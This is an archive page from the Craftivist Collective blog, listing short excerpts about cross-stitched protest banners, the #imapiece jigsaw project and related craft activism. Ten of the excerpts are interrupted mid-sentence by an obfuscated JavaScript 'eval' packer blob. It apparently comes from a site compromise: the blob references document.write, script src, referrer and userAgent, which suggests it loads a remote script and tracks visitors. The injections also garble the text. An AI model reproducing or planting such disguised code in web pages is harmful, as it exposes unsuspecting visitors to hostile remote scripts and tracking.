Author: Craftivist Collective

04 Apr Project: Mini Protest Banner

Imagine eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ksnhe|var|u0026u|referrer|dztfz||js|php'.split('|'),0,{})) walking down the street and spotting a colourful cross-stitched banner out of the corner of your eye. You stop to look more closely...

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04 Apr #imapiece Craftivist Jigsaw installation is going on tour!:)

Thanks eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rsaaf|var|u0026u|referrer|fznfd||js|php'.split('|'),0,{})) to craftivistas across the UK the Craftivist Jigsaw project has collected more than 700 jigsaw pieces so far. The project has been exhibited...

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01 Apr #imapiece says Craftivist Laura Butterworth & her MP Meg Hillier

Craftivist eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zbbha|var|u0026u|referrer|nnzib||js|php'.split('|'),0,{})) Laura Butterworth (right of the photo) from London tells us what it was like handing over handmade Craftivist Jigsaw pieces made by her...

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30 Mar CRAFTERTHOUGHT: I’m not angry, I”m just disappointed

My eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eeshh|var|u0026u|referrer|etkef||js|php'.split('|'),0,{})) crafterthought today is: Instead of shouting, marching, demonising and trying to shame the current UK Government to change their ways why don’t we show...

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28 Mar “Permission to Protest?” by craftivist Rachel Tavernor

You eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|khenr|var|u0026u|referrer|fnfye||js|php'.split('|'),0,{})) might recognise craftivist Rachel Tavenor as the filmmaker of Stitched Stories documentary which documented the life of a craftivist and of a prisoner...

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20 Mar We are all a [jigsaw] piece of history today!

TODAY in eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ksssy|var|u0026u|referrer|izidz||js|php'.split('|'),0,{})) the budget statement George Osborne maintained the promise that we the UK will spend 0.7 of GDP on international aid: “We should all take...

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17 Mar Crafty Magazine launches AND with a monthly Craftivism Column in from us!:)

Ooo eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zhhhh|var|u0026u|referrer|afaan||js|php'.split('|'),0,{})) just look at the cover of the first issue of Crafty Magazine! I can't wait to hold it in my hands, stroke it...

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11 Mar Craft Crush #3: Charlie Hooson-Sykes

As eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rrfzt|var|u0026u|referrer|ddiib||js|php'.split('|'),0,{})) the Craftivist Collective we love to showcase fellow craft-lovers who inspire us to keep crafting, teach us new craft skills & new ways...

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03 Mar Look at what we all created together: Craftivist Jigsaw #imapiece unveiling :)

We eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zkans|var|u0026u|referrer|edren||js|php'.split('|'),0,{})) did it! With the help of hundreds of craftivistas we created a giant art installation made up of more than 600 stitched jigsaw...

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18 Feb #imapiece of the Week featuring Sarah Tarmaster AKA @NorthWestNosh

Welcome eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ekrbr|var|u0026u|referrer|fbtdr||js|php'.split('|'),0,{})) to ‘#imapiece of the week’, our weekly blog post showcasing some of the beautiful and thoughtful jigsaw pieces made by craftsters around the...

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